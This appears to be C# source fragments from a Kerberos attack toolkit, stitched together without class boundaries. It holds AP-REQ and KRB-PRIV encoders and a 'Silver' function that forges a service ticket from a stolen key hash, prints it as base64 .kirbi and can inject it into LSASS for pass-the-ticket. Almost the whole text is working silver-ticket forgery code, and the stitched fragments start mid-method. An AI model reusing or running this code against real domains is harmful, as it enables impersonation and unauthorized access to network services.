AsnElt authenticatorEncryptedDataSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { authenticatorEncryptedDataASN });
authenticatorEncryptedDataSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, authenticatorEncryptedDataSeq);
// encode it all into a sequence
AsnElt[] total = new[] { pvnoSeq, msg_typeSeq, ap_optionsSeq, ticktSeq, authenticatorEncryptedDataSeq };
AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, total);
// AP-REQ ::= [APPLICATION 14]
// put it all together and tag it with 14
AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq });
totalSeq = AsnElt.MakeImplicit(AsnElt.APPLICATION, 14, totalSeq);
return(totalSeq);
}
public AsnElt Encode()
{
// pvno [0] INTEGER (5)
AsnElt pvnoASN = AsnElt.MakeInteger(pvno);
AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { pvnoASN });
pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, pvnoSeq);
// msg-type [1] INTEGER (14)
AsnElt msg_typeASN = AsnElt.MakeInteger(msg_type);
AsnElt msg_typeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { msg_typeASN });
msg_typeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, msg_typeSeq);
// ap-options [2] APOptions
byte[] ap_optionsBytes = BitConverter.GetBytes(ap_options);
AsnElt ap_optionsASN = AsnElt.MakeBitString(ap_optionsBytes);
AsnElt ap_optionsSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { ap_optionsASN });
ap_optionsSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, ap_optionsSeq);
// ticket [3] Ticket
AsnElt ticketASN = ticket.Encode();
AsnElt ticktSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { ticketASN });
ticktSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, ticktSeq);
// authenticator [4] EncryptedData
// KRB_KEY_USAGE_TGS_REQ_PA_AUTHENTICATOR 7
// From https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L61
if (key == null)
{
Console.WriteLine(" [X] A key for the authenticator is needed to build an AP-REQ");
return(null);
}
byte[] authenticatorBytes = authenticator.Encode().Encode();
//byte[] keyBytes = Helpers.StringToByteArray(key);
byte[] encBytes = Crypto.KerberosEncrypt(enctype, 7, key, authenticatorBytes);
// create the EncryptedData structure to hold the authenticator bytes
EncryptedData authenticatorEncryptedData = new EncryptedData();
authenticatorEncryptedData.etype = (int)enctype;
authenticatorEncryptedData.cipher = encBytes;
AsnElt authenticatorEncryptedDataASN = authenticatorEncryptedData.Encode();
AsnElt authenticatorEncryptedDataSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { authenticatorEncryptedDataASN });
authenticatorEncryptedDataSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, authenticatorEncryptedDataSeq);
// encode it all into a sequence
AsnElt[] total = new[] { pvnoSeq, msg_typeSeq, ap_optionsSeq, ticktSeq, authenticatorEncryptedDataSeq };
AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, total);
// AP-REQ ::= [APPLICATION 14]
// put it all together and tag it with 14
AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq });
totalSeq = AsnElt.MakeImplicit(AsnElt.APPLICATION, 14, totalSeq);
return(totalSeq);
}
public AsnElt Encode()
{
// tag the final total ([APPLICATION 21])
return(AsnElt.MakeImplicit(AsnElt.APPLICATION, 21,
AsnElt.MakeSequence(
AsnElt.MakeSequence(
// pvno [0] INTEGER (5)
AsnElt.MakeImplicit(AsnElt.CONTEXT, 0,
AsnElt.MakeSequence(AsnElt.MakeInteger(pvno))),
// msg-type [1] INTEGER (21)
AsnElt.MakeImplicit(AsnElt.CONTEXT, 1,
AsnElt.MakeSequence(AsnElt.MakeInteger(MessageType))),
// now encrypt the enc_part (EncKrbPrivPart)
AsnElt.MakeImplicit(AsnElt.CONTEXT, 3,
AsnElt.MakeSequence(
AsnElt.MakeSequence(
// etype
AsnElt.MakeImplicit(AsnElt.CONTEXT, 0,
AsnElt.MakeSequence(
AsnElt.MakeInteger((int)EncryptionType))),
AsnElt.MakeImplicit(AsnElt.CONTEXT, 2,
AsnElt.MakeSequence(
// KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART = 13;
AsnElt.MakeBlob(
Crypto.KerberosEncrypt(EncryptionType, Interop.KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART,
// enc-part [3] EncryptedData -- EncKrbPrivPart
EncryptionKey, enc_part.Encode().Encode())))))))))));
}
public static void Silver(string user, string sname, string keyString, Interop.KERB_ETYPE etype, string domain = "", string outfile = null, bool ptt = false, Interop.TicketFlags flags = Interop.TicketFlags.forwardable | Interop.TicketFlags.renewable | Interop.TicketFlags.pre_authent)
{
// determine domain if not supplied
string[] parts = sname.Split('/');
if (String.IsNullOrEmpty(domain))
{
if ((parts.Length > 1) && (parts[0] == "krbtgt"))
{
Console.WriteLine("[X] Referral TGT requires /domain to be passed.");
return;
}
else if ((parts.Length == 1) && (sname.Split('@').Length == 1))
{
Console.WriteLine("[X] SPN has to be in the format 'svc/host.domain.com' or '*****@*****.**'.");
return;
}
else if (parts.Length > 1)
{
domain = parts[1].Substring(parts[1].IndexOf('.') + 1);
string[] domainParts = domain.Split(':');
if (domainParts.Length > 1)
{
domain = domainParts[0];
}
}
else if (sname.Split('@').Length > 1)
{
domain = sname.Split('@')[1];
}
else
{
Console.WriteLine("[X] SPN is in a unsupported format: {0}.", sname);
return;
}
}
// initialize some structures
KRB_CRED cred = new KRB_CRED();
KrbCredInfo info = new KrbCredInfo();
// generate a random session key
Random random = new Random();
byte[] randKeyBytes;
if (etype == Interop.KERB_ETYPE.rc4_hmac)
{
randKeyBytes = new byte[16];
random.NextBytes(randKeyBytes);
}
else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)
{
randKeyBytes = new byte[32];
random.NextBytes(randKeyBytes);
}
else
{
Console.WriteLine("[X] Only rc4_hmac and aes256_cts_hmac_sha1 key hashes supported at this time!");
return;
}
EncTicketPart decTicketPart = new EncTicketPart(randKeyBytes, etype, domain.ToUpper(), user, flags);
// get the key from keyString
byte[] key = Helpers.StringToByteArray(keyString);
// encrypt the EncTicketPart
byte[] encTicketData = decTicketPart.Encode().Encode();
byte[] encTicketPart = Crypto.KerberosEncrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, key, encTicketData);
// initialize the ticket and add the enc_part
Ticket ticket = new Ticket(domain.ToUpper(), sname);
ticket.enc_part = new EncryptedData((Int32)etype, encTicketPart, 3);
// add the ticket
cred.tickets.Add(ticket);
// [0] add in the session key
info.key.keytype = (int)etype;
info.key.keyvalue = randKeyBytes;
// [1] prealm (domain)
info.prealm = decTicketPart.crealm;
// [2] pname (user)
info.pname.name_type = decTicketPart.cname.name_type;
info.pname.name_string = decTicketPart.cname.name_string;
// [3] flags
info.flags = flags;
// [4] authtime (not required)
info.authtime = decTicketPart.authtime;
// [5] starttime
info.starttime = decTicketPart.starttime;
// [6] endtime
info.endtime = decTicketPart.endtime;
// [7] renew-till
info.renew_till = decTicketPart.renew_till;
// [8] srealm
info.srealm = ticket.realm;
// [9] sname
info.sname.name_type = ticket.sname.name_type;
info.sname.name_string = ticket.sname.name_string;
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
string kirbiString = Convert.ToBase64String(kirbiBytes);
Console.WriteLine("[*] Forged a TGS for '{0}' to '{1}'", info.pname.name_string[0], sname);
Console.WriteLine("[*] base64(ticket.kirbi):\r\n");
if (Program.wrapTickets)
{
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
}
else
{
Console.WriteLine(" {0}", kirbiString);
}
Console.WriteLine("");
if (!String.IsNullOrEmpty(outfile))
{
string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}";
filename = Helpers.MakeValidFileName(filename);
if (Helpers.WriteBytesToFile(filename, kirbiBytes))
{
Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename);
}
}
if (ptt)
{
// pass-the-ticket -> import into LSASS
LSA.ImportTicket(kirbiBytes, new LUID());
}
}
